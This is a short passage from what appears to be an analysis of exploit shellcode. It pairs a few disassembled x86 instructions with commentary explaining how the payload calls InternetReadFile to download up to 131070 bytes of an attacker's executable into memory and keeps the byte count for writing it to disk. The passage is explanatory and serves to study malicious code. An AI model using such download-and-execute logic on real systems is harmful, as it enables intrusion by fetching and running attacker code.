
000001E6: 50 push eax

000001E7: FF57F8 call d, [edi] [-0008]

The below code uses InternetReadFile (at [EDI-0x04]) to download up
to 131070 bytes into the memory buffer (pointer in ESI). Note that EDI
was pushed first. EDI is where the attacker is going to store the count of
how many bytes are actually read. This is needed to save the file to disk
with the right size. Note that there is a limit to the size of the exploit
executable the attacker can download.

000001EA: 57 push edi
0O0000